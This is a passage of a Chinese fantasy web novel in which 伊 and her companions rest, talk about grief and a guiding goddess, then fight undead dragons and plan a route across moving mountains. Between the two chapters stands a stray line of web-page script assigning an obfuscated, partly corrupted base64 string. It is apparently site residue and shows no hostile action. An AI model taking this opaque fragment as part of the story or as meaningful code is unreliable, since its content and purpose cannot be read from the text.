不久之后,影狼凭借铃兰花的提示找到了陌他们,恰巧此时第四火盆刚刚被点燃。陌赶忙将伊从影狼后背上接了下来,随后立即进行一系列检查。在确认一切正常后,所有人都松了一口气。这时影狼留下了关于第五火盆所在地的提示,然后头也不回地扬长而去。 影狼走后,伊苏醒了过来。众人见到伊醒来,赶忙上前关心。 陌: “伊小姐,现在感觉如何?有疼痛或不舒服的情况吗?” 银骨剑圣: “伊,有哪里不舒服吗?喂!清醒一点。需要什么提出来,我们帮你去弄。” 不死耶稣: “愿你的意志能保佑你,伊。请勿做出放弃懦弱之举,愿你能坚强地挺过生命中的每场劫难。” 小咒刀: “主人,你不要死啊!我的生活里可不能没有你啊!” 伊: “小咒刀......我还没死呢!我只是太累了而已......” 小咒刀: “哦。那没事了。主人你慢慢休息哈,我先去一旁玩去喽!” 小咒刀飞走了。突然,又飞了回来。 “有事叫我哈。” 说完,就飞到一旁与银骨剑圣练剑去了。 伊一脸不屑地说: “小咒刀......你,真是个屑刀。” 铃兰花: “好啦好啦,要是感觉累的话,好好睡一觉吧。” 伊: “正有此意.......” 伊倒头昏睡过去...... 时间一下子来到黄昏。当伊再次醒来时,陌他们围坐在篝火旁,正等待篝火上烧着的一锅蘑菇排骨草药汤彻底煮熟。伊抬起摇摇晃晃的头看着他们,一时间看不清他们的样子。伊的视线时而模糊时而清楚,伊的意识也是如此。 铃兰花: “大家!伊醒了。” 听到铃兰花的声音,众人的目光瞬间聚焦在伊的身上。不死耶稣赶忙用治愈系祷告帮伊清醒意志,银骨剑圣则是将事先煮好的劳动者药水给伊拿了过去。饮下药水之后,伊靠自身慢慢清醒了过来,同时她感觉一身轻,仿佛所有劳累都离她远去。伊恢复到了原来的样子,众人见后大喜。 陌: “好点了吗?伊。” 小咒刀: “主人主人,你醒啦?太好了!” 伊: “好挺多了。现在就是非常饿,想吃东西。” 银骨剑圣: “这边特意为你煮了肉汤,一会吃几碗吧。” 伊: “谢谢。” 不死耶稣: “伊,你在中陷阱之后发生了什么?为什么是一只巨狼将你送了回来。” 伊: “这就说来话长了......” 伊向众人讲述了自己在阴霾峡谷的经历。 小咒刀: “主人真厉害!那么大一只狼,主人就这么潇洒地给其打败了。真是厉害!天啊!我真的好崇拜你哦,主人。” 伊: “一般一般。过奖了,小咒刀。” 小咒刀: “经此一遭,主人看起来更美了呢。” 铃兰花: “你这把刀怎么这么油嘴滑舌,一看就是老花花公子了。” 小咒刀: “哪有?主人明明就很好看。我只是在客官的评价主人而已。” 伊在一旁笑而不语。 不死耶稣: “你说它是守护第五火盆的守护兽......那么想要接近第五火盆还需要再与它交战一次吗?” 伊: “应该会吧......我不太清楚。” 银骨剑圣: “我猜是的。毕竟它名字里带守护兽三个字呢。” 不死耶稣: “看样子,一场战斗不可避免呀。” 这时,一旁沉默的陌想起了要事。 陌: “伊,你说你在被打倒后是直接昏了过去,而后还听见了一个女人的声音,对吗?” 伊: “没错。” 陌: “那个女人对你说了什么?” 伊: “我忘了。等下......我想起来一点,好像说光会庇佑我,还亲切地称呼我为孩子。那种语气,像是母亲一样。” 陌: “她说完那些话之后,你就突然满血复活了,而且还突然会了一堆跟光有关的技能,是吗?” 伊: “嗯。我记得用那些技能的时候,我好像变了个样子,变得......更厉害了。但等战斗结束后,我就遗忘了那些技能,甚至连名字都想不起来,只记得它们和光有关。” 陌: “我有个很大胆的猜想——你所听到的声音,可能是出自传说中的那位创世女神希德薇拉之口。” 伊: “啊?!希德薇拉?那位大姐姐......” 陌: “要么就是指引我的卡门。据我多年的研究表明,这两位资料均为高度未知的神明具备这样的条件。” 伊: “哦。看来,有个善良的姐姐在默默帮助我呢。” 陌突然抬头,他瞪大了眼睛,似乎是看到了什么不得了东西。伊见陌如此惊愕,就好奇地回头一看,结果背后竟空无一物。正当伊疑惑之时,陌开口了。 陌: “我确定了,帮助你的人一定是希德薇拉。” 伊: “为什么呢?” 陌: “那个人足足有三米多高,卡门目测才两米多一点。这符合文献资料中对于她的描述。毫无疑问,那个人就是希德薇拉。” 伊: “希德薇拉为什么会帮助我呢?是出于好心吗?” 陌: “我想,等你见到卡门,她会负责告诉你一切。” 陌拿出一张羊皮纸,羊皮纸上写满了发光的古文。陌郑重地告诉伊: “派留下的古卷上记载:凡是取得圣剑者,均可抵达通过玄铁门跨越到秩序圣殿,从那里可以见到站在智慧顶点的女神卡门·赛普斯。” 陌收起古卷,伊一脸惊讶。陌继续说道: “当你成为圣君仁华时,卡门会告诉你一切。” 伊先是一惊,再是一忧,然后是一脸坚定,最后是一抹神秘的笑容。伊轻轻叩了叩首,回应陌: “嗯。我知道了。” 伊如此平静的回答,陌很是满意。陌拍了拍伊的肩膀,笑道: “这才是圣君仁华该有的样子。” 夸赞完伊,正好汤已经烧熟。陌不慌不忙地为伊打来满满一碗的排骨汤,并亲手呈递到伊的手中,顺手附加木勺。伊笑着表达感谢,随后接过碗。饥肠辘辘的她望着碗中的蘑菇与排骨,口水止不住地往下流。她拿起勺子,很礼貌地说了一声就开吃了。由于战斗的体力消耗太高,饥饿的伊一个人吃了整整四碗汤才吃饱。这一顿的伙食量令一旁的陌吃惊,陌忍不住吐槽道: “好家伙,这一仗你是真没白打呀。出力是真出到位了。别看你瘦瘦的,胃口倒还很好。我终于明白为什么那些厨子总说淑女都是吃货了。” “人家太饿了,就稍微多吃一点。” “你管这叫稍微?” “人是铁饭是钢,一顿不吃饿得慌。饿肚子是真的难受呀。” “好家伙。你慢点吃,别噎着。不够的话我再给你做点。” “嗯。谢谢!” 时间一转眼到了半夜。多日前熟悉的景象再次出现,依然是伊和铃兰花仰望星空,但陌这边有不死耶稣陪伴研究古卷。天上繁星点点,伊一边拿手帕擦着一把魔力木梳子,一边抬头仰望星空。她回忆着那个幻影曾对她说过的话,她隐隐感觉到自己体内存在一个秘密。正当她思维混乱之时,轻柔的哼唱声传入她的耳中。 “哒哒哒哒哒哒滴啦,哒哒哒哒哒哒滴啦~~~” 伊听到声音,转头看向周围却并非发现声源。直到她注意到身旁的铃兰花的嘴巴在动弹,她才弄明白声音的来源。伊好奇地问了一句: “卡娜铃兰?” 铃兰花的哼唱停止,它被突如其来的问候下了一跳。 “哦呜!怎么了?伊。” 伊露出和善的笑容。 “没事。你再哼些什么好听的?” “这是我很喜欢的八音盒里面的小曲。怎么样?听起来是不是很好听?” “当然好听啦。” “看样子咱俩的品味有一定相同呀。” 回忆涌上铃兰花心头,她又一次在回忆里感到活着的滋味。循着回忆里的味道,铃兰花怀念地说: “害......记得在以前,我刚刚从东洋墟搬到东玲国的那段时间里,我最难以忘记的就是我房间里那八音盒的旋律。在那段非常难度过的时光里,我最愿意听我那八音盒的小曲了。因为一听到那熟悉的旋律,我就会想起爸爸妈妈还有弟弟,久违的家庭温暖也会回到我的身旁。那旋律为我送来舒心、愉悦还有感动,我的心就寄存在那旋律当中。” 突然,铃兰花的表情变得沮丧起来。 “那时候呀......我一个人无依无靠的,就只能靠听八音盒和看照片来温暖自己的心。多希望有人能陪在我身边啊......可惜大家都很无情,没人愿意理会我这个落魄者的痛苦。当时能理解我的,只有我自己呀。” 听到此处,伊的情绪也有些低落。但伊还是露出笑容来,又用和善的语气对铃兰花说: “我想当你孤独的时候,听到承载记忆的旋律,心里自然能感到几分慰藉吧。” “那肯定的。只是......我......害......记忆丢失了呢。” “没关系。丢失的记忆可以慢慢找回。若是觉得孤独的话,你大可放心,有我陪着你呢。” 伊的话令铃兰花感动。 “伊......你的话真令人暖心呢。” “嘻嘻,过奖了哦。” 这时,铃兰花提出了一个奇特的问题。她问: “伊......你说这世上有能让人起死回生的办法吗?” “也许有吧。” “我也希望有。” “我猜到你的心思了,你一定很想复活,好去见你的丈夫。” “嘘,天机不可泄露。” “嘿嘿,跟我就别见外了。” 铃兰花又想到了一个沉重的问题。她问: “伊,我有个问题想问你。” “什么问题?说吧。” “在你眼中,齐百陵是个什么样的人呢?” “在我眼中啊......齐百陵其实挺悲惨的人,但他犯下的罪行的确令人发指。不过我猜他应该不是个坏人,他只是被仇恨冲昏了头脑。你的记忆告诉我,他并不是坏,相反还很友善,还懂得疼爱一个人。” “伊,你......难道不恨他吗?” “我并不恨他。” “在所有人眼里,他就是个该死的混蛋,因为他犯下了令人发指的罪行,枪毙十来回都不够的那种。他曾得罪过不少人,想要他死的人多的数不过来,关于他的谣言更是多到数不胜数。你一定看过那些谣言,说的很真实,不是吗?” “的确。但那又有何关系呢?我只相信真理,我从不信那些无故抹黑、凭空捏造、恶意篡改的谣言。你丈夫的本质是什么,我想一个人记忆比传闻要真实。我所见到记忆世界,不会受到主观意志的影响。” “你不去嫉恨他,你和他们不一样。” “每个人都有黑暗的一面,也有光明的一面。做出什么事情,是善是恶,是非对错,都只是各自的意志所决定的。我认为,没有非黑即白,只是立场不同罢了。可以说,你丈夫是个善恶皆有、复杂的人。” “能听到你这样说,我真的很感动。” “可这并不代表我否认了他拥有邪恶的一面的事实。人必须要为犯下的罪恶承担责任,哪怕这背后有千万种痛苦。” “伊,你是我见过最善良的女孩。” “嘻嘻,过奖了。” 铃兰花又想到了一个令她发愁的问题。她问: “伊,你说我到底要怎么做才能让我老公过上好生活呢?每当我见到他自暴自弃,我心里都格外不舒服。我想他过得幸福!” “卡娜铃兰,我知道一个办法可以做到。只不过,我说出来你们两人可能都无法接受。” “说吧,没关系的。只要能让他的余生能过得舒坦,任何办法我都会尽力尝试的。” “越是逃避就越是恐惧。唯独直面不想面对的一切,才能做到真正的释然。” 伊悄悄握住了铃兰花的手。 “你的意思是,让他忘记过去发生的一切?” “不,是让他直面你的死去。这也就意味着,他要接受他最不想接受的事实,承认你已经离开这个世界。你也要放下这一切。这对两方来说,这都很残酷。” “这......听起来很不可思议。那我该怎么做呢?” “你只需要给予他爱的劝导就可以了。” “我能明白你的意思。只是......我该怎么劝导他呢?一份执念不可能仅靠三言两语就能放下。” “你想想他是怎么爱上你的?” “唔......我记得在书上曾看到过一个专业的解释。那个词怎么说来着......爱欲,对!爱欲。” “说得对。爱欲。他对你的执着,我猜正是他内心空虚脆弱的表现,这也许和他悲惨的过去有关。他也许从小就缺乏他人的关爱,所以他才会对每一个愿意善待他的人好,甚至为此不惜牺牲一切。” “大致明白了。” “通俗点来说,他只是想被人好好对待。” 铃兰花听后,有些顿悟了。 “你这么说来......他的确是这样的人。他对待陌生人冷血无情,但对我却非常亲近。因为我对他比其他人对他要好。” “可想而知你在他心里到底有多重要。” “确实。” “所以你的劝导他才会听得进去。想要结束他的痛苦,你是最佳人选哦。” “可话虽如此,实际做起来他真的会听我的吗?” “嘿嘿,这就体现家庭地位的重要性了。” “我觉得我在家里地位还挺高的。嗯,这样一想就有信心了呢。” 铃兰花这句话说完,伊突然伸手把她抱了起来,然后紧紧抱在怀里。铃兰花有些木讷地问: “诶?干嘛突然这么亲密。” 伊微笑着回答道: “我想好好抱抱你。” 铃兰花露出拒绝的表情,说: “抱的太用力了啦!我都感觉不到自己的身体了。” 伊有些不好意思地说: “哦,抱歉。” 伊拿出梳子指环,然后生成了一个尺寸小一些的梳子,接着一只手扶在铃兰花的肩,一只手给铃兰花梳头发。铃兰花有些不好意思地说: “别摸人家的头。诶嘿~~~好痒痒,好痒痒呀。” 伊正儿八经地说: “别乱动,人家在给你梳头发。” 说完,伊转动身体,身体朝向床旁边挂着镜子的树。铃兰花露出非常享受的表情,并说: “诶哟哟,轻点!给我梳个好看点的,嗯?” 伊点头道: “好的呢。” 伊用梳子指环给铃兰花梳头,还用手给铃兰花编头发,一人一魂都乐在其中。通过这些时日的磨合,两人已经成了无话不谈的朋友,彼此间的羁绊也随时间愈发深重。这亲密的一幕被陌看到了。陌会心一笑,放下手中的古卷,默默注视她们。不死耶稣见了,也随陌一同注视了片刻。不死耶稣发出了嘎嘎嘎的笑声,随即很好奇地问身旁的陌: “陌,你是怎么让玩偶有知觉的?” 陌回答道: “别问,问就是魔法太过于神奇。” 不死耶稣疑惑道: “那为什么我们没有知觉?” 陌想了想,回答: “这需要问你的脊神经了。” 没学过生物的不死耶稣听得一头雾水,急忙问道: “那是什么东西?” 陌思索片刻,耸肩摊手,又说: “额......一时半会解释不清。” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十四话:万兽谷(上) 时间一连过去了三天,很快就来到第十二天的上午。伊一行人冒险来到禁域中部万兽谷,并根据古卷上的提示寻找隐藏在万兽谷中的九层妖塔。众人所寻找的第五火盆,就高高屹立在九层妖塔的塔顶。而这九层妖塔的位置,则是未知与恐惧并存的万兽谷禁区:龙墓区域。想要抵达那里,众人要经历九九八十一难,还要走过各种充满危险与挫折的道路。若没有胆识与实力,踏足万兽谷简直是作死。 万兽谷共有十二个区域,分别对应十二生肖上的十二个动物。每个区域都有几只守护兽看守,还有大批的原住异兽辅助看守。若想经过他们的领地,得提着脑袋走过去。没有足够的实力,就只能靠飞毛腿。要是连飞毛腿都没有,还有潜行能保命。若连潜行都不会,就只能葬身兽腹了。 不知不觉,伊一行人登陆禁域已有11天了。这11天里,伊与团队里的各位都培养出了坚实的羁绊。在行动上,众人彼此都有一定的默契与信任,所以万兽谷一行众人是非常有信心的。为了抢在天上人之前找到圣殿入口,众人可谓是拼上了一切。众人赌上了时间、精力、金钱、甚至是生命!穷尽一切,只为伊的前程与坚贞不渝的信仰。 面对万兽谷里张牙舞爪的异兽,众人非但没有感到恐惧,反而在心里燃起了一团熊熊烈火。不管对方是什么,只要敢出手阻拦他们前进的步伐,众人都发誓要让它们吃不了兜着走。 在准备战斗方面,伊总是战在后排辅助位和小咒刀一起辅助前排的三骨。而这次面对万兽谷的各种奇珍异兽,伊毅然选择走上前排的主攻位,与主力输出三骨一起并排作战。伊的决定震撼到了陌他们。陌他们开口劝说伊回到后排,而伊坚定地拒绝了他们。陌他们见此状况有些难以置信,直到见到伊坚毅的神情,他们才确认了这个勇敢姑娘的决心。 伊的行为带动小咒刀也上了前排,队伍里不再有辅助人员。现在,伊的队伍只有拼死战斗的先锋,没有软弱到躲在别人身后的后卫。虽然这不符合团队作战的逻辑,但这样的团队战斗要更加让人热血。 伊激活核心生成Emw-125涅盘、Emw-124薄溟、EmA-149忧郁蓝调。伊手持附着火焰的方天画戟,背着散发仙尘的长弓,身着冰水绣球的帅气蓝西装,一副信心满满的样子。伊的双眸变成金色,又浑身泛起点点光之息。 伊神情严肃地说: “大家......做好准备了没?要上了哦!” 随着伊一声口号喊出,众人迈着坚毅的步伐冲向了阻拦他们的异兽。一场人兽之战不可避免地展开了。经过众人的一番努力,万兽谷的月狼区域被他们征服。月狼区域内的异兽不再对他们抱有敌意,毕竟挨了伊她们一顿暴揍,自然得表现的服服帖帖的。在月狼区域首领九尾银狐与伊达成握爪之交后,月狼区域宣告安全。告别月狼区域,众人继续向着万兽谷深处进发。 众人一口气跨越黯鼠区域和炎鸡区域,一路上过关斩将、所向披靡,直逼万兽谷中心的龙墓区域。征战万兽谷是一件很费力的事情。守护兽喜欢群体作战,这就导致众人应对起它们的攻势来格外吃力。击倒一只守护兽本就不容易,击倒一群守护兽更是难上加难。越靠近万兽谷中心,守护兽的强度与等级就越高,这给予众人极大的压力。 众人秉持着要前进到底的想法,即便是这样的艰难险阻也没有让众人退缩。领头的陌为了保证能顺利抵达龙墓区域,特意制定了一个计划:遇到惹不起的异兽就会选择且战且退,遇到可以打得过但是没必要打的异兽则会选择避开,尽一切可能延续队伍前进的步伐。制定完计划后,众人开始执行。 许多情况下,众人可以避开绝大部分强大的异兽,毫不费力就可以穿过险象丛生的异兽封锁区域。许多闻讯赶来围追堵截众人的异兽苦等许久都不见众人出现,盎然回首却看到众人离开区域的身影,这别提有多让异兽生气了。即便异兽动员去追,但也因万兽谷严苛的规矩止步于区域边境。一只只健壮凶狠的异兽只能委屈地看着众人远去,却只能将希望寄托于下一个区域的异兽。这样的一幕反复上演,不得不佩服陌优秀的指挥。 这样的战术帮众人避开了许多危险,还在不产生人员伤亡的情况下使众人顺利进入龙墓区域。 抵达龙墓区域后,映入众人眼帘是一派令人惊愕的景象。犹如巨兽遗体一样的骨骸矗立在一片檀紫色的土地上,骨骸浅浅没入其中却不染淤泥,仿佛是从这土地里生长出来的罢。那是巨龙的骨架,更是一座座坟墓。暗紫色的小溪穿过骨骸间的缝隙流向龙墓外滚滚河水,小溪旁生长着错综复杂的黑色荆棘,几朵妖异的蓝色鲜花点缀在其中,带给人一种别样的阴森感。 淡淡的、一眼望不尽的薄雾裹挟着阴气如幽灵般飘荡在龙墓当中,空气中悄悄弥漫开来的泥沼味随着它来从去留变得时而浓郁时而淡薄。头顶的天空被地面散发出的阴气染成了淡紫色,其中的云朵甚至变成可怖的猩红色,映照出这阴气的本色。太阳变得有些惨白,照在地面上的光更是有些灰暗。阴森的氛围在这些事物的熏陶下油然而生。身处这样的氛围当中,众人不禁寒毛直竖、脊背发凉。 “好可怕!那些都是生物的骸骨吗?” 伊惊恐道。一旁的小咒刀听此,连忙安慰道: “别怕主人,有我们在身旁呢,没有怪物能伤害得了你。” 听小咒刀这么一说,伊的心里稍稍安定了些。一旁的陌见到龙墓阴森恐怖的景象却面不改色,只是简单检测一番后便领着队伍继续前进。在众人走入一条宽敞的峡谷中时,陌察觉到一丝特别的阴气,他急忙叫停了队伍。 这时,陌抬头向天空看去。不出他所料,两只浑身散发尸臭的僵尸双足飞龙龙出现在天空当中。陌一眼就认出这两只僵尸龙来,随即陌施展法术,两颗焚灭天球贯穿僵尸龙的翅膀,迫使它们坠入峡谷。僵尸龙一落地,陌带人上前围剿,在僵尸龙释放致命毒物之前将其消灭。 一旁的伊见了,忍不住好奇问道: “陌,你们为什么要宰了这两头龙?” 陌解释道: “千腐尸龙是狡猾的猎食者,常常以友善动物或尸体的方式吸引猎物。在猎物靠近时就会释放致命的毒雾吐息。吸入毒雾的猎物,十分钟内即刻毙命。非专业道士不可续命,非灵药不可医治。” 伊点点头,表示明白了。就在这时,峡谷的四周传来了阵阵龙吼。不死耶稣眼疾手快,释放光辉律法冲击波探测周围环境。不料这一探,竟给不死耶稣惊出了一身冷汗。不死耶稣急忙从胸腔里拿出圣神印记,随后释放金色祷告,神圣的庇佑降临到众人身上。不死耶稣警告众人: “八十来只!对方有八十来只。不,比那更多。” 陌和银骨剑圣听后立即进入战斗状态。银骨剑圣汇聚法力,沧桑白骨之躯燃起银色斗气,神剑银之荆棘上冒出银色辉光,一条白鳞紫眼的幻影大蛇盘在身,银骨剑圣决定正式拿出全部实力。陌的眼神变得犀利起来,环绕他身体四周升起二十多丛幽冥之火,死灵之力以夜魔般气息凝聚在陌的手中,这一刻陌真正拿出了一位死灵术士的全部实力。 见到队内三骨都认真了起来,伊和小咒刀也不由得紧张起来,急忙进入战斗状态严阵以待。伊忍不住好奇,询问不死耶稣: “老骨爷爷,到底发生什么事了?” 不死耶稣回答她: “龙墓的守护兽们盯上我们了,它们准备将我们一网打尽。它们是不到战死绝不撤退的,都不是善茬。小心了,伊。” 这时,携带在伊身上的铃兰花似乎感觉到了什么,她摇晃身体,成功引起了伊的注意。铃兰花指着地面惶恐地说: “有些东西......在地里面运动。我看到了它们的灵魂,它们好像是虫子?” 伊顿时醒悟,急忙将注意力放在地面上。小咒刀见此,开启魂之眼对地面进行透视,很快就发现了目标。小咒刀飞速地连戳地面,顿时鲜血从一个又一个戳口中喷涌而出,紧接着,几只蛇形地龙被小咒刀从地里面挑了出来。解决完这些试图偷袭众人的地龙,陌他们提防的存在出现了。 一群体型似虎又凶猛狡诈的陆行尸龙出现在峡谷的两边,它们疾驰着、咆哮着向众人冲来。一浪接一浪,天空中又出现一只只凶神恶煞的千腐尸龙,峡谷上方也围来几只体型巨大的四足双翼尸龙。一时间,伊一行人置身于群龙围攻的险境。为了生存,众人被迫开始了一轮鏖战。 由于事先靠躲闪战术节省了许多体力,众人此时精力十足,应对眼前的群龙围攻显得丝毫不慌。战斗开始后,银骨剑圣爆发出惊人的力量,凭借鬼步瞬杀斩与大范围剑气斩,很快在群龙围攻的处境下杀出一片安全区,并在群龙的包围圈上撕开了一道突破口。众人顺着这道突破口,逐渐逃离群龙的围攻。银骨剑圣的攻击使得群龙难以接近伊的团队,这使得战局对他们逐渐有利起来。 银骨剑圣: “筋骨尽断,斩尽魍魉。” (眨眼间,银骨剑圣就收走了五只尸兽的命。) 不死耶稣这边运用阳气释放许多高威力的祷告,在无一龙的情况下消灭着这些因怨念而生的尸兽。他的祷告招式繁多,爆裂之火、飞剑、流星、激光、闪击、幻影剑、冰枪......各种招式应有尽有,就连十米多长邪神巨斧它都给释放了出来。凭借阳气对尸兽的克制,不死耶稣便很快遏制了尸兽的进攻性,还让许多瘦小的尸兽陷入难以挣脱的恐惧。 不死耶稣: “诺德萨克斯的荣誉!伟哉!卡利亚!” (不死耶稣使用魔力巨剑斩杀一只首领级别的尸兽。) 陌这边使用诸多死灵类的法术,以他最大的效率清理拦路的尸兽。陌一边靠冥火、冷焰、幽冥气杀伤尸兽,一边靠死灵术将尸兽复活为己所用。这样以战养战的战斗模式,逐渐将胜利的天平倾倒向了陌他们这一边。 在打群战这方面,陌可谓是专业人士。在敌我双方因数量差距而产生较大实力差时,不死耶稣运用高超的死灵术召唤出上百只裹挟幽灵而来骷髅士兵,瞬间就逆转了局势。上百位已死亡灵与群龙展开激烈交锋,陌在一旁化身将军指挥亡灵战斗,并亲自与自己手下的阴兵协同作战。陌几乎是将阴间攻击用到了极致。 陌: “死神,来收人了。成为我的小弟吧,小龙。” (陌用三叉戟击杀了一只尸兽,转眼间将这只尸兽变成友方单位。) 小咒刀和伊这边相互配合,依靠一人一剑间的默契,两人解决了许多只尸兽。战斗中伊无意发现光之能量可以对尸兽造成无法想象的伤害,于是伊激活核心,释放光之剑以飞剑形式斩杀尸兽。伊手中的涅盘与薄溟来回切换着使用,以应对战场复杂多变的形势。伊近远距离都有所顾及,一般的尸兽很难伤害到伊,再加上小咒刀在一旁辅助,伊就更难受到伤害。小咒刀无视重力的飞行能力使它处理尸兽如砍瓜切菜,这也使得小咒刀自身无敌的同时又能保障队友的安全。 伊: “嘿——!哈——!尝尝这个!” (伊使用涅盘刺穿一只尸兽的胸腔,又用一种怪力将它挑飞了起来。) 小咒刀: “嚯呀!” (小咒刀趁此补刀,一击斩首毙命。) 伊: “干得好!小咒刀。” 小咒刀: “过奖了,主人。” 经过一段时间的战斗,伊一行人清理出了撤退出峡谷的道路。在陌使用焚灭天宇杖召唤大范围爆裂火流星清理战场后,伊一行人相互交流眼神,最终决定由伊率先离开。紧接着,伊在不死耶稣的护送下率先离开战场。小咒刀处理掉天空中一只俯冲而来的尸兽,然后告别战场跟上伊和不死耶稣,又充当众人前进时的保护者。银骨剑圣与陌相互对视一眼,随后陌召唤出亡灵骑兵团转身离开战场,留下银骨剑圣断后。银骨剑圣面对涌上来的群龙丝毫没有慌乱,只见他在剑上汇聚好能量,随后对群龙斩出一记破荒斩,彻底收尾战斗。 银骨剑圣: “要是有一壶酒的话,就好了......” 滚落的巨石伴随崩塌的悬崖峭壁填满了峡谷内的小部分区域,残留的斗气崩解地面产生腾起的碎石渣,一阵狂风迎面吹来顿时形成大片尘雾堵塞峡谷。众多尸兽冲入尘雾中,不一会传来阵阵哀嚎,尘雾外的尸兽见此不敢轻举妄动,都死死地盯着这片尘雾。除了几只会飞的尸兽和在峡谷上部的尸兽跨过尘雾去追众人,其余峡谷内的尸兽只能盯着眼前的尘雾。 很快尘雾散去,现场只留下一面由巨石垒起的八米高的墙,还有一地的狼藉。尸兽死亡后化成的邪水散发难闻的恶臭,邪水汇聚成流扩散在石墙周围,那难闻的恶臭也正悄然扩散。群龙见状,只能叼着同伴的尸体打道回府,最终只留下几只不服输的尸兽挑战攀爬石墙。 众人逃出峡谷后,见身后只有零星的几只尸兽再追,就都松了一口气。陌使用焚灭天宇杖召唤天火轰击解决掉追兵,随后带领众人继续赶路向前。当抵达龙墓重要交通枢纽区域错峰山时,陌主动提议让众人休息。很快,众人便在贫瘠的石头山上找了处山洞歇息。 陌很热心地为伊准备了魔法面包,伊很感激地收下了。吃过面包后,伊的伤口和体力都恢复了。伊向陌表达了谢意,陌谦虚的一笑以示回应。难得的休息时间,众人比以往都更加珍惜这段时光。就在伊被小咒刀和不死耶稣讲的笑话逗得捧腹大笑时,伊无意间注意到远处朦胧的雾中貌似有一座高塔。伊指着远处的高塔,忍不住发问道: “慢着......各位,那好像就是九层妖塔。” 众人一听,急忙看向伊手指的方向。结果不出所料,陌一眼就认出那正是众人苦苦寻找的九层妖塔。陌一拍大腿,笑道: “终于出现了!太好了!真是太好了!” 这时,小咒刀敏锐的眼睛注意到,九层妖塔的位置突然近了一些。小咒刀连忙移动身体,确认这并非是错觉。面对此等异象,小咒刀忍不住问道: “等一下!那座塔是不是动了一下。我怎么觉得它好像变大了一点呢?” 伊、不死耶稣和银骨剑圣观察一番后的确发现九层妖塔的位置有变动。不死耶稣疑惑道: “难不成是那座塔在移动?” 银骨剑圣则表达了完全不同的观点。 “会不会是我们在移动呢?” 伊这时给出了一个观点。 “会不会是我们这座山在移动呢?” 一人两骨相视几眼,都觉得有些不大可能。小咒刀这时附和起伊来。 “虽然很离谱,但我觉得主人说得对。我看那座塔没有左右移动的迹象,倒更像是我们所在的山头在移动。” 众人的探讨陷入僵局,而陌则是拿起一张古卷细细地看了起来。看到古卷上关键的字眼后,陌抬头望向远方。眨眼间,景象又换了一番,妖塔从原本的右侧竟奇迹般出现在了左侧。这时候,陌幡然醒悟了。陌在反复对照古卷内容之后得出了一个关键性结论。他喜上眉梢,立即向众人说出了这番结论。 “错峰山的每座山头都在移动。错峰山共三十六个山头,每个山头对应一段下山路,也对应万兽谷四九格局下三十六条路。我们要去的妖塔,正在这三十六路中的一条上。只要我们摸清楚错峰山移峰的规律,再了解清楚山路大概的对应方向,我们就可以找到那条前往妖塔的路。” 听到陌这番结论,一剑两骨都似懂非懂,唯独伊听得透彻。伊随即发出提问,并阐述自己的建议。 “我们怎么确定我们在那座山峰上?我们必须留下记号,否则万一出现山峰不动的情况,我们就容易被误导。而且从事实角度来说,去妖塔的山路应该在方向上与旁侧山路有较大误差,因为塔这类建筑不可能坐落在道路过于复杂的要点上,通常情况下都是一条道进去一条道出去,所以那条指向妖塔方向最特殊的路就是我们要找的路。而找出这条路,就得需要我们靠实践来进行检验。” 众人都木讷地望着伊,这让伊一时陷入尴尬。 伊心想: “诶呀!忘了他们不太聪明了。” 不死耶稣故作明白地捧场,语气平和地说: “伊,你说得很不错呀。” 银骨剑圣茫然地发问。 “伊小姐......你这说的是啥玩意?我咋听不明白呢?” 小咒刀也吐槽道: “话说,主人。你直接让我飞出去探路不好吗?” 伊红着脸有些尴尬地说: “哦......好像......是的呢。” 这时,陌点头道: “伊小姐的计划不错!我赞成。” 小咒刀疑惑地问: “额......可是我可以......” 陌突然打断小咒刀,告诉它: “我刚来这里时侦测过这里的魔法场,发现这里的魔法场很强大,魔法场的根源是重力系的魔法能量在供应。依我看,若是你尝试飞出去,你极大可能会被魔法场边缘凝聚泡给弹回来。简单来讲,你飞不出去的。” 小咒刀惊讶道: “啊?” 陌见小咒刀还有些不信,就用重力魔法在原地找了一颗小陨星。结果陨星在陌头上四五米处突然爆裂而逝,随即陨星碎片如烟花绽放一般飞散下落。这些碎片像僧顶之汗,以近乎圆弧的轨迹缓慢下落。巧的是,这道轨迹的终点的连线正巧内切覆盖整座错峰山的圆环。 见到这样的结果,众人都醒悟了。尤其是小咒刀,吓得躲在伊身后瑟瑟发抖,生怕一个不小心变成那爆裂而逝的陨星。 陌提醒众人: “我们要另寻出路。这里的设计者很聪明,早就料到会有人利用飞行能力避开这份精心设计的考验。所以我们更得下功夫找到这里的出路才是。” 陌的话打消了小咒刀心里的小算盘,小咒刀被迫接受了现实。伊见小咒刀有些沮丧,用手轻拍小咒刀的刀镡,安慰它道: “没关系的,你依然能帮上许多忙的。” 经伊这么一安慰,小咒刀顿时来了斗志,原本的活泼又回到它身上。小咒刀情不自禁地夸赞伊道: “主人最好了。” 伊微笑着回应道: “你呀,就知道油嘴滑舌。” 三骨见状都笑了,伊也跟着笑了笑。小咒刀见此旋转了一圈,随后也露出了开心的目光。气氛缓和了些,众人趁此,赶忙开始有关计划的讨论。 后来经陌和伊两人主导,众人激烈的商讨,最终制定了前往妖塔的绝佳计划。计划总共分四步,每一步都弥足关键。 第一步,小咒刀以近地俯冲的方式在短时间内浏览过错峰山三十六山头,并将唤灵符放在山头旁的石头堆中,不一会唤灵符唤出头顶数字的幽灵。就这样,伊她们标记了每一座不动的山。 第二步,陌依靠死灵感应能力绘制出一张错峰山的大地图,然后每隔一段时间感应一次,感应之后绘制对照图,接着依照对照图坐标绘制移动路线图。随着时间流逝,陌逐步降低感应间隔时间,直到得到稳定的间隔时间数。 第三步,根据移动路线图推测出错峰山山头移动的规律,结合资料并通过实践来加以验证。在得到规律性或非规律性两种结果后采取不同的应对措施。若得到规律性答复则开始着手预测山头运动轨迹图;若得到非规律性答复则开始依靠运气、付诸实践来寻求妖塔之路。 第四步,在山头朝向妖塔方向时,队内轮流派人下山寻路。银骨剑圣、不死耶稣、陌单独一组,伊和小咒刀一组,先由速度快的、战斗力高的人下山,随着战斗力降低依次往下轮。派出去寻路的人刻意在路上留下记号,要在力所能及的范围里探索整座山。为防止队伍走散,队内派遣人数不得多余2组,又必须在派遣人员全部归队后再次开始新一轮探险。 